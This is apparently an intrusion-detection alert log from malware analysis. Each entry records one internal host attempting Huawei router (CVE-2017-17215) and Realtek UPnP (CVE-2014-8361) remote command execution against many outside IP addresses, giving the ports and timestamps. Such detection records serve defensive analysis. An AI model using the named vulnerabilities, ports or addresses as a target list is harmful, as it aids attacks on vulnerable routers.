Source Port:	33970
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.252.153.174

Timestamp:	07/20/24-23:01:04.846946
SID:	2835222
Source Port:	42160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.66.136.120

Timestamp:	07/20/24-23:01:25.390310
SID:	2829579
Source Port:	35648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 216.44.193.248

Timestamp:	07/20/24-23:01:07.225933
SID:	2025132
Source Port:	41222
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 182.69.101.91

Timestamp:	07/20/24-23:01:27.360753
SID:	2027339
Source Port:	53088
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 80.166.177.56

Timestamp:	07/20/24-23:01:02.628234
SID:	2829579
Source Port:	51216
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.156.183.155

Timestamp:	07/20/24-23:01:02.612616
SID:	2829579
Source Port:	34798
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 109.45.117.18

Timestamp:	07/20/24-23:01:27.276711
SID:	2835222
Source Port:	60528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 8.85.166.254

Timestamp:	07/20/24-23:01:14.536691
SID:	2831300
Source Port:	44536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.202.195

Timestamp:	07/20/24-23:01:22.739710
SID:	2835222
Source Port:	43124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 75.16.206.108

Timestamp:	07/20/24-23:01:05.847071
SID:	2027339
Source Port:	55650
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.234.70.164

Timestamp:	07/20/24-23:01:15.000440
SID:	2835222
Source Port:	52080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.145.162.190

Timestamp:	07/20/24-23:01:06.798722
SID:	2829579
Source Port:	47320
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.93.78.184

Timestamp:	07/20/24-23:01:12.487419
SID:	2829579
Source Port:	45932
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.186.137.146

Timestamp:	07/20/24-23:01:02.661070
SID:	2829579
Source Port:	40374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.2.110.185

Timestamp:	07/20/24-23:01:22.746773
SID:	2835222
Source Port:	33538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 193.141.44.151

Timestamp:	07/20/24-23:01:27.222234
SID:	2829579
Source Port:	42600
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 160.161.205.189

Timestamp:	07/20/24-23:01:06.884008
SID:	2027339
Source Port:	42042
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.75.65.56

Timestamp:	07/20/24-23:01:36.862442
SID:	2829579
Source Port:	58130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 145.185.248.183

Timestamp:	07/20/24-23:00:59.021792
SID:	2829579
Source Port:	39112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.37.206.254

Timestamp:	07/20/24-23:01:04.848636
SID:	2835222
Source Port:	40130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 194.65.196.65

Timestamp:	07/20/24-23:00:59.019633
SID:	2829579
Source Port:	44802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.251.254.230

Timestamp:	07/20/24-23:01:25.414531
SID:	2829579
Source Port:	41262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.214.82.82

Timestamp:	07/20/24-23:01:36.799485
SID:	2835222
Source Port:	38828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.57.88.96

Timestamp:	07/20/24-23:01:25.391568
SID:	2835222
Source Port:	49026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 223.72.56.49

Timestamp:	07/20/24-23:01:25.389455
SID:	2829579
Source Port:	44348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 50.236.24.191

Timestamp:	07/20/24-23:01:14.570907
SID:	2831300
Source Port:	60452
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 158.124.195.199

Timestamp:	07/20/24-23:01:05.475384
SID:	2025132
Source Port:	45582
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 186.48.96.212

Timestamp:	07/20/24-23:01:36.850220
SID:	2835222
Source Port:	38896
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 154.157.246.72

Timestamp:	07/20/24-23:01:14.506916
SID:	2027339
Source Port:	40280
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 71.95.23.241

Timestamp:	07/20/24-23:01:14.542240
SID:	2831300
Source Port:	35380
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.75.142.184

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	55314
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.118.70.108

Timestamp:	07/20/24-23:01:04.848080
SID:	2829579
Source Port:	59860
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.162.35.169

Timestamp:	07/20/24-23:01:04.874130
SID:	2829579
Source Port:	46262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.180.90.110

Timestamp:	07/20/24-23:01:36.792737
SID:	2835222
Source Port:	52886
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.246.70.194

Timestamp:	07/20/24-23:01:25.389741
SID:	2835222
Source Port:	58482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 1.125.24.131

Timestamp:	07/20/24-23:01:27.357903
SID:	2831300
Source Port:	56302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 120.164.160.29

Timestamp:	07/20/24-23:01:06.799605
SID:	2829579
Source Port:	34454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 38.49.123.120

Timestamp:	07/20/24-23:01:14.513053
SID:	2027339
Source Port:	46268
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 218.119.176.170

Timestamp:	07/20/24-23:01:04.907418
SID:	2829579
Source Port:	48638
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 53.36.224.51

Timestamp:	07/20/24-23:01:14.542853
SID:	2027339
Source Port:	51494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.120.41.0

Timestamp:	07/20/24-23:01:06.800702
SID:	2829579
Source Port:	50878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 119.44.232.241

Timestamp:	07/20/24-23:01:14.502469
SID:	2027339
Source Port:	39490
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.12.169.82

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	40814
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.98.177.78

Timestamp:	07/20/24-23:01:12.487419
SID:	2835222
Source Port:	51510
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 188.53.105.187

Timestamp:	07/20/24-23:01:14.516654
SID:	2027339
Source Port:	37576
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 4.4.167.103

Timestamp:	07/20/24-23:01:14.530140
SID:	2831300
Source Port:	51548
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.20.89.100

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	58732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.128.63.211

Timestamp:	07/20/24-23:01:06.808312
SID:	2835222
Source Port:	59460
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 9.155.213.68

Timestamp:	07/20/24-23:01:14.522190
SID:	2831300
Source Port:	53674
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.196.243.220

Timestamp:	07/20/24-23:01:25.390311
SID:	2829579
Source Port:	57958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.6.247.149

Timestamp:	07/20/24-23:00:59.020228
SID:	2829579
Source Port:	44962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.174.97.64

Timestamp:	07/20/24-23:01:04.853128
SID:	2835222
Source Port:	38688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 219.121.3.137

Timestamp:	07/20/24-23:01:04.180737
SID:	2027339
Source Port:	40044
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.245.177.60

Timestamp:	07/20/24-23:01:02.685657
SID:	2835222
Source Port:	52828
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.194.220.93

Timestamp:	07/20/24-23:01:06.812906
SID:	2835222
Source Port:	38580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 49.127.162.145

Timestamp:	07/20/24-23:01:06.820921
SID:	2829579
Source Port:	55636
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.214.55.135

Timestamp:	07/20/24-23:00:59.019559
SID:	2829579
Source Port:	38980
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 130.206.211.129

Timestamp:	07/20/24-23:01:14.513053
SID:	2027339
Source Port:	40922
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 105.237.48.102

Timestamp:	07/20/24-23:01:27.354180
SID:	2027339
Source Port:	55814
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.157.100.230

Timestamp:	07/20/24-23:01:20.470124
SID:	2027339
Source Port:	53844
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.188.72.175

Timestamp:	07/20/24-23:01:12.485458
SID:	2835222
Source Port:	34512
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 158.248.123.112

Timestamp:	07/20/24-23:01:12.502954
SID:	2835222
Source Port:	32958
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.50.117.185

Timestamp:	07/20/24-23:01:14.550730
SID:	2027339
Source Port:	54272
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.242.34.8

Timestamp:	07/20/24-23:01:04.879348
SID:	2829579
Source Port:	55374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 84.26.238.160

Timestamp:	07/20/24-23:01:14.520422
SID:	2027339
Source Port:	53862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 52.240.106.131

Timestamp:	07/20/24-23:01:12.543114
SID:	2829579
Source Port:	52066
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 25.126.196.156

Timestamp:	07/20/24-23:01:32.199687
SID:	2829579
Source Port:	40884
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.240.43.254

Timestamp:	07/20/24-23:01:25.391285
SID:	2835222
Source Port:	36728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 62.21.175.88

Timestamp:	07/20/24-23:01:04.853128
SID:	2829579
Source Port:	41746
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 39.240.110.128

Timestamp:	07/20/24-23:01:14.550185
SID:	2027339
Source Port:	60390
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 13.21.70.134

Timestamp:	07/20/24-23:01:20.486898
SID:	2025132
Source Port:	39792
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.1.219.57

Timestamp:	07/20/24-23:01:22.791883
SID:	2835222
Source Port:	54546
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.62.121.121

Timestamp:	07/20/24-23:01:27.306441
SID:	2835222
Source Port:	59528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.13 - Destination IP: 53.242.30.163

Timestamp:	07/20/24-23:01:14.517363
SID:	2831300
Source Port:	33270
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.53.40.125

Timestamp:	07/20/24-23:01:36.855169
SID:	2835222
Source Port:	51688
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.205.59.72

Timestamp:	07/20/24-23:01:22.738019
SID:	2829579
Source Port:	44800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.138.203.32

Timestamp:	07/20/24-23:00:59.021587
SID:	2829579
Source Port:	58158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 207.32.229.66

Timestamp:	07/20/24-23:01:04.558305
SID:	2027339
Source Port:	40426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 147.21.178.207

Timestamp:	07/20/24-23:01:02.607576
SID:	2835222
Source Port:	34900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.73.230.152

Timestamp:	07/20/24-23:01:32.271087
SID:	2835222
Source Port:	57672
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 40.11.215.79

Timestamp:	07/20/24-23:01:04.172196
SID:	2025132
Source Port:	45114
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 54.44.221.107

Timestamp:	07/20/24-23:01:06.801053
SID:	2835222
Source Port:	33110
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 64.111.121.228

Timestamp:	07/20/24-23:01:04.186436
SID:	2027339
Source Port:	47972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.91.71.217

Timestamp:	07/20/24-23:01:06.809008
SID:	2829579
Source Port:	39856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.228.104.183

Timestamp:	07/20/24-23:01:12.360353
SID:	2829579
Source Port:	42732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.163.77.32

Timestamp:	07/20/24-23:01:27.222234
SID:	2835222
Source Port:	33312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.13 - Destination IP: 57.86.64.87

Timestamp:	07/20/24-23:01:04.997254
SID:	2025132
Source Port:	44724
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 117.76.117.93

Timestamp:	07/20/24-23:01:06.437475
SID:	2027339
Source Port:	33516
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 104.175.135.141

Timestamp:	07/20/24-23:01:20.481325
SID:	2027339
Source Port:	33094
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.231.142.145

Timestamp:	07/20/24-23:01:22.739029
SID:	2835222
Source Port:	60976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.13 - Destination IP: 58.234.199.253

Timestamp:	07/20/24-23:01:07.290737
SID:	2027339
Source Port:	55208
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.1.12.172

Timestamp:	07/20/24-23:00:59.020932
SID:	2829579
Source Port:	40354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.206.169.214

Timestamp:	07/20/24-23:01:22.739607
SID:	2835222
Source Port:	57346
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.222.9

Timestamp:	07/20/24-23:01:32.199687
SID:	2829579
Source Port:	52372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.117.196.250

Timestamp:	07/20/24-23:01:32.257456
SID:	2829579
Source Port:	52436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.212.40.166

Timestamp:	07/20/24-23:01:12.485954
SID:	2829579
Source Port:	44408
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 120.12.100.82

Timestamp:	07/20/24-23:01:25.389455
SID:	2835222
Source Port:	34806
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 157.5.144.24

Timestamp:	07/20/24-23:01:32.276800
SID:	2829579
Source Port:	59244
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.66.47.215

Timestamp:	07/20/24-23:01:04.861979
SID:	2835222
Source Port:	35668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 2.214.49.67

Timestamp:	07/20/24-23:01:22.780464
SID:	2835222
Source Port:	59960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.101.180.110

Timestamp:	07/20/24-23:01:25.389085
SID:	2835222
Source Port:	39650
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

